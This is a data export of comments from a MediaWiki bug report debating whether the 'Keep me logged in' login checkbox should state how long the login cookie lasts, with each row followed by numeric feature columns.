So looking through the comments, I see the following breakdown:

Support: Myself, MZMcBride, Nemo, Amgine, Isarra, Matt Walker, Raimond

Opposition: Steven Walling, Matt F (weak)

It seems to be Steven you're the only person that's strongly opposed against this idea - the rest of the people that have commented on this bug (who are from a wide range of projects/locations) support this change.

I don't think that this change should be opposed on the basis of *one* person's opposition - we work with consensus. Furthermore, by telling the user that we are going to keep them logged in, then logging them out after 30 days we are effectively lying to them - can you tell me that's good UX?"
229471,"""Remember me"" on Login interface should state duration","MZMcBride, the ""easy"" keyword should not be used for issues for which
the fix is controversial, including those that someone at the WMF would
likely mark RESOLVED WONTFIX. It doesn't make sense to consider these
to be ""Issues recommended to try for new developers"".",,,1390743961,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0.0,2.0,0.0,2.0,4.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,12.0,2.0,5.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,7.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,4.017857142857143,0.75,"MZMcBride, the ""easy"" keyword should not be used for issues for which
the fix is controversial, including those that someone at the WMF would
likely mark RESOLVED WONTFIX. It doesn't make sense to consider these
to be ""Issues recommended to try for new developers""."
229467,"""Remember me"" on Login interface should state duration",I've filed bug 60437 about having a duration at all.,,,1390724736,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,3.5833333333333335,1.0,I've filed bug 60437 about having a duration at all.
229463,"""Remember me"" on Login interface should state duration","**swalling** wrote:

(In reply to comment #35)
> Would you tell me what I'm supposed to do to fix this bug?

I am closing this bug as I should have done a long time ago, per the reasoning in comment 10

If an individual community wants to disagree with the MediaWiki default, then they can customize it like English Wikipedia has. This should not be changed in core.",,,1390720594,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,13.0,1.0,0.0,8.0,0.0,0.0,0.0,1.0,7.0,0.0,3.0,0.0,6.0,14.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.676056338028169,0.8169014084507042,"**swalling** wrote:

(In reply to comment #35)
QUOTE

I am closing this bug as I should have done a long time ago, per the reasoning in comment 10

If an individual community wants to disagree with the MediaWiki default, then they can customize it like English Wikipedia has. This should not be changed in core."
229458,"""Remember me"" on Login interface should state duration","Aravind: Find the string yourself in the codebase, change it (see comment 0 and 34 for hints), and put a patch into Gerrit.",,,1390670587,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,7.0,10.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.4827586206896552,0.896551724137931,"Aravind: Find the string yourself in the codebase, change it (see comment 0 and 34 for hints), and put a patch into Gerrit."
229452,"""Remember me"" on Login interface should state duration","**aravikn** wrote:

Would you tell me what I'm supposed to do to fix this bug?",,,1390645074,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,13.0,9.0,4.0,4.0,0.0,0.0,13.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.8260869565217392,0.8260869565217391,"**aravikn** wrote:

Would you tell me what I'm supposed to do to fix this bug?"
229446,"""Remember me"" on Login interface should state duration","(In reply to comment #33)
> Isn't this fixed?

No. In MediaWiki core, the ""userlogin-remembermypassword"" message is still
just ""Keep me logged in"", though at least English Wikipedia has overridden
it to add ""(for up to $1 {{PLURAL:$1|day|days}})"".",,,1390642806,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,3.0,0.0,3.0,16.0,5.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.3278688524590163,0.7377049180327869,"(In reply to comment #33)
QUOTE

No. In MediaWiki core, the ""userlogin-remembermypassword"" message is still
just ""Keep me logged in"", though at least English Wikipedia has overridden
it to add ""(for up to $1 {{PLURAL:$1|day|days}})""."
229438,"""Remember me"" on Login interface should state duration","**aravikn** wrote:

Isn't this fixed?",,,1390642120,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,21,True,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6153846153846154,0.7692307692307693,"**aravikn** wrote:

Isn't this fixed?"
229432,"""Remember me"" on Login interface should state duration","I remember that I added the value of $wgCookieExpiration to the login form some years ago because there were ongoing questions on the Germen Village Pump about ""how long is the login valid?""

Therefore I think it would be a good idea to re-add this information.",,,1376638681,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,False,,,-2,True,2.0,0.0,0.0,0.0,0.0,6.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,0.0,7.0,15.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,6.0,13.0,6.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,7.0,15.0,6.0,2.0,4.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.018518518518518,0.8518518518518519,"I remember that I added the value of $wgCookieExpiration to the login form some years ago because there were ongoing questions on the Germen Village Pump about ""how long is the login valid?""

Therefore I think it would be a good idea to re-add this information."
229425,"""Remember me"" on Login interface should state duration","(In reply to comment #30)
> No, this bug is primarily about what's on Wikimedia projects. That's what
> Thehelpfulone was asking about in the original comment, why Luis commented
> about privacy as well, and why MZ's solution was to locally change the enwiki
> message. I could care less if someone wants to change the MediaWiki default
> as
> long as they leave Wikimedia projects untouched.

Those are just examples, while your recurring argument is only about WMF wikis; this bug has never been in WikimediaMessages component or Wikimedia product, IIRC. That said, sure, many of the comments here have gone off track.
I don't care much about this request (I was originally against it, it seems) but I still don't see compelling arguments to reject the addition of a handful characters to core.

Then, this can be closed and a bug filed for WikimediaMessages if you wish; or this can be ignored for core and moved to somewhere else. Whatever eliminates this from my bug 38638 backlog is fine, thanks.",,,1376602519,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,True,,,-2,True,1.0,0.0,0.0,1.5,1.0,3.5,2.5,0.0,0.0,0.5,1.0,1.0,0.0,0.5,0.0,2.5,0.0,6.5,10.0,0.0,1.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,6.0,0.5,1.5,2.0,1.0,0.5,0.0,0.0,1.5,0.0,0.0,0.5,2.5,0.0,0.5,0.0,0.0,0.0,10.5,2.5,1.5,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.5,4.0,10.5,1.0,3.0,7.5,0.0,0.0,0.0,0.5,3.5,0.0,1.0,0.0,5.0,10.0,4.0,0.0,0.0,0.0,5.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,3.8698630136986303,0.7671232876712328,"(In reply to comment #30)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Those are just examples, while your recurring argument is only about WMF wikis; this bug has never been in WikimediaMessages component or Wikimedia product, IIRC. That said, sure, many of the comments here have gone off track.
I don't care much about this request (I was originally against it, it seems) but I still don't see compelling arguments to reject the addition of a handful characters to core.

Then, this can be closed and a bug filed for WikimediaMessages if you wish; or this can be ignored for core and moved to somewhere else. Whatever eliminates this from my bug 38638 backlog is fine, thanks."
229418,"""Remember me"" on Login interface should state duration","**swalling** wrote:

(In reply to comment #29)
> (In reply to comment #28)
> > 
> > Nope, I know it's not hard coded. What I was talking about is the
> > justification
> > for including it.
> > 
> > As Matt correctly points out in comment 17, this is partially about managing
> > expectations. If you look at it from that point of view, you could say that
> > people expect ""remember me"" to work for an indefinite period, since that's
> > how
> > it works most other places if you choose that option. If it's likely that we
> > change our config to be the same based on a privacy policy revision, then
> > there's no need to say something extra, because it fits with the usual mental
> > model of what such a checkbox does.
> 
> You realize that all this privacy policy change argument carries no value
> for a
> bug in MediaWiki product which shall consider only the MediaWiki default,
> don't
> you?

No, this bug is primarily about what's on Wikimedia projects. That's what Thehelpfulone was asking about in the original comment, why Luis commented about privacy as well, and why MZ's solution was to locally change the enwiki message. I could care less if someone wants to change the MediaWiki default as long as they leave Wikimedia projects untouched.",,,1376601293,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,False,,,-2,True,0.0,1.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,7.5,8.5,1.0,2.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,3.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,2.0,17.5,2.5,1.0,3.5,0.0,0.0,0.0,0.5,3.0,0.0,0.5,0.0,1.5,8.5,14.5,0.0,0.0,0.0,1.5,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,3.709677419354839,0.5161290322580645,"**swalling** wrote:

(In reply to comment #29)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No, this bug is primarily about what's on Wikimedia projects. That's what Thehelpfulone was asking about in the original comment, why Luis commented about privacy as well, and why MZ's solution was to locally change the enwiki message. I could care less if someone wants to change the MediaWiki default as long as they leave Wikimedia projects untouched."
229414,"""Remember me"" on Login interface should state duration","(In reply to comment #28)
> 
> Nope, I know it's not hard coded. What I was talking about is the
> justification
> for including it.
> 
> As Matt correctly points out in comment 17, this is partially about managing
> expectations. If you look at it from that point of view, you could say that
> people expect ""remember me"" to work for an indefinite period, since that's
> how
> it works most other places if you choose that option. If it's likely that we
> change our config to be the same based on a privacy policy revision, then
> there's no need to say something extra, because it fits with the usual mental
> model of what such a checkbox does.

You realize that all this privacy policy change argument carries no value for a bug in MediaWiki product which shall consider only the MediaWiki default, don't you?",,,1376600785,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,True,,,-2,True,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,26.0,2.0,0.0,9.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,3.0,8.0,20.0,2.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6769230769230767,0.6153846153846154,"(In reply to comment #28)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

You realize that all this privacy policy change argument carries no value for a bug in MediaWiki product which shall consider only the MediaWiki default, don't you?"
229410,"""Remember me"" on Login interface should state duration","**swalling** wrote:

(In reply to comment #25)
> (In reply to comment #24)
> > (In reply to comment #23)
> > > (In reply to comment #22)
> > > 1). The ""30 days"" is likely change to be much longer, or indefinite, if you
> > > check the box. ...
> > 
> > I don't understand this point. The cookie expiry is set now, not in the
> > future.
> > Are you saying it can be changed retroactively?
> 
> I suspect the person is unaware that value would be the wiki's configuration
> value, and made the assumption it would be hard-coded into the skin.

Nope, I know it's not hard coded. What I was talking about is the justification for including it.

As Matt correctly points out in comment 17, this is partially about managing expectations. If you look at it from that point of view, you could say that people expect ""remember me"" to work for an indefinite period, since that's how it works most other places if you choose that option. If it's likely that we change our config to be the same based on a privacy policy revision, then there's no need to say something extra, because it fits with the usual mental model of what such a checkbox does.",,,1376599493,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.5,0.0,0.0,0.5,5.0,1.5,0.5,0.0,1.5,1.5,0.0,0.0,0.5,0.5,3.0,0.0,3.0,14.0,0.5,2.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,8.5,1.5,3.5,3.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,8.0,1.0,1.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,3.5,2.0,10.5,4.5,0.0,7.0,0.0,0.0,0.0,0.5,3.5,0.0,1.0,0.0,8.0,14.0,7.0,0.0,1.0,0.0,8.0,0.0,1.5,2.0,0.5,1.5,0.0,0.5,0.0,3.5892857142857144,0.6666666666666667,"**swalling** wrote:

(In reply to comment #25)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Nope, I know it's not hard coded. What I was talking about is the justification for including it.

As Matt correctly points out in comment 17, this is partially about managing expectations. If you look at it from that point of view, you could say that people expect ""remember me"" to work for an indefinite period, since that's how it works most other places if you choose that option. If it's likely that we change our config to be the same based on a privacy policy revision, then there's no need to say something extra, because it fits with the usual mental model of what such a checkbox does."
229406,"""Remember me"" on Login interface should state duration","**wmf.amgine3691** wrote:

(In reply to comment #26)
> Right, we don't need to hard-code it; we would use the configuration.  The
> issue is just whether it helps the user to show it.  I.E. is it good UX?

heh. Not a UX expert. But my n of one is slightly more confident when I know the cookie isn't indefinite.",,,1376594461,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,4.0,0.0,11.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,2.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.1739130434782608,0.8043478260869565,"**wmf.amgine3691** wrote:

(In reply to comment #26)
QUOTE
QUOTE

heh. Not a UX expert. But my n of one is slightly more confident when I know the cookie isn't indefinite."
229403,"""Remember me"" on Login interface should state duration","Right, we don't need to hard-code it; we would use the configuration.  The issue is just whether it helps the user to show it.  I.E. is it good UX?",,,1376590633,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,5.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,8.0,5.0,10.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,15.0,8.0,5.0,3.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.051282051282051,0.7692307692307693,"Right, we don't need to hard-code it; we would use the configuration.  The issue is just whether it helps the user to show it.  I.E. is it good UX?"
229397,"""Remember me"" on Login interface should state duration","**wmf.amgine3691** wrote:

(In reply to comment #24)
> (In reply to comment #23)
> > (In reply to comment #22)
> > 1). The ""30 days"" is likely change to be much longer, or indefinite, if you
> > check the box. ...
> 
> I don't understand this point. The cookie expiry is set now, not in the
> future.
> Are you saying it can be changed retroactively?

I suspect the person is unaware that value would be the wiki's configuration value, and made the assumption it would be hard-coded into the skin.",,,1376589081,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,16.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,5.0,0.0,3.0,0.0,3.0,5.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4603174603174605,0.6190476190476191,"**wmf.amgine3691** wrote:

(In reply to comment #24)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I suspect the person is unaware that value would be the wiki's configuration value, and made the assumption it would be hard-coded into the skin."
229391,"""Remember me"" on Login interface should state duration","(In reply to comment #23)
> (In reply to comment #22)
> > This request for a handful more characters on login seems quite
> > straightforward; 4 months later, can we proceed or are fingers still heated?
> 
> It's still a bad idea. 
> 
> 1). The ""30 days"" is likely change to be much longer, or indefinite, if you
> check the box. It's one of the pieces of privacy policy feedback that keeps
> coming in, and with a revision to the policy going to be published for
> community input soon, there's not much point in specifying something that may
> not need to be specified soon.

I don't understand this point. The cookie expiry is set now, not in the future. Are you saying it can be changed retroactively?

> 
> 2). Knowing how long doesn't actually help you make a decision. Either you do
> or do not want to be remembered. If you do, the amount of time doesn't
> matter.

It does when you find yourself logged out. It also helps understanding the impact of your choice; for instance, I personally allow most sites to keep cookies for one browser session only, and I am happier if their cookie expires earlier.

> If you don't (such as for being on a shared system), it doesn't matter if
> it's
> 30 days or 2. 
> 
> This is another case where details don't help you make a choice, but we're
> being pushed to carry over legacy content despite the fact that most people
> agreed that the legacy message (""remember me for 180 days"") was bizarre and
> unnecessary.

This is just an assumption so I won't reply.",,,1376584486,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,1.0,1.5,1.5,1.5,0.0,0.0,0.5,1.0,1.0,0.0,0.5,0.0,2.5,0.5,6.5,6.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,6.0,2.0,1.5,2.0,2.5,0.0,0.0,0.5,0.5,0.0,0.5,1.0,1.5,0.0,0.5,0.0,0.0,0.0,11.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,2.5,3.0,19.0,2.0,0.5,3.5,0.0,0.0,0.0,0.5,3.0,0.0,1.0,0.0,7.5,6.5,9.5,0.5,0.0,0.0,7.5,0.0,0.5,0.5,0.5,1.0,1.5,0.5,0.0,3.556338028169014,0.647887323943662,"(In reply to comment #23)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't understand this point. The cookie expiry is set now, not in the future. Are you saying it can be changed retroactively?

QUOTE
QUOTE
QUOTE
QUOTE

It does when you find yourself logged out. It also helps understanding the impact of your choice; for instance, I personally allow most sites to keep cookies for one browser session only, and I am happier if their cookie expires earlier.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is just an assumption so I won't reply."
229384,"""Remember me"" on Login interface should state duration","**swalling** wrote:

(In reply to comment #22)
> This request for a handful more characters on login seems quite
> straightforward; 4 months later, can we proceed or are fingers still heated?

It's still a bad idea. 

1). The ""30 days"" is likely change to be much longer, or indefinite, if you check the box. It's one of the pieces of privacy policy feedback that keeps coming in, and with a revision to the policy going to be published for community input soon, there's not much point in specifying something that may not need to be specified soon. 

2). Knowing how long doesn't actually help you make a decision. Either you do or do not want to be remembered. If you do, the amount of time doesn't matter. If you don't (such as for being on a shared system), it doesn't matter if it's 30 days or 2. 

This is another case where details don't help you make a choice, but we're being pushed to carry over legacy content despite the fact that most people agreed that the legacy message (""remember me for 180 days"") was bizarre and unnecessary.",,,1376529042,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,False,,,-2,True,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,3.0,3.3333333333333335,2.0,0.0,0.0,1.3333333333333333,1.3333333333333333,2.3333333333333335,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,5.666666666666667,10.333333333333334,0.3333333333333333,2.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,6.333333333333333,1.3333333333333333,1.6666666666666667,1.3333333333333333,2.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,11.333333333333334,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,2.3333333333333335,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,4.666666666666667,3.6666666666666665,3.6666666666666665,3.6666666666666665,2.6666666666666665,5.333333333333333,0.0,0.0,0.0,0.3333333333333333,6.0,0.0,3.0,0.0,4.666666666666667,10.333333333333334,0.3333333333333333,0.0,1.6666666666666667,0.0,4.666666666666667,0.0,1.3333333333333333,2.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,3.4367706747843734,0.7434677828513445,"**swalling** wrote:

(In reply to comment #22)
QUOTE
QUOTE

It's still a bad idea. 

1). The ""30 days"" is likely change to be much longer, or indefinite, if you check the box. It's one of the pieces of privacy policy feedback that keeps coming in, and with a revision to the policy going to be published for community input soon, there's not much point in specifying something that may not need to be specified soon. 

2). Knowing how long doesn't actually help you make a decision. Either you do or do not want to be remembered. If you do, the amount of time doesn't matter. If you don't (such as for being on a shared system), it doesn't matter if it's 30 days or 2. 

This is another case where details don't help you make a choice, but we're being pushed to carry over legacy content despite the fact that most people agreed that the legacy message (""remember me for 180 days"") was bizarre and unnecessary."
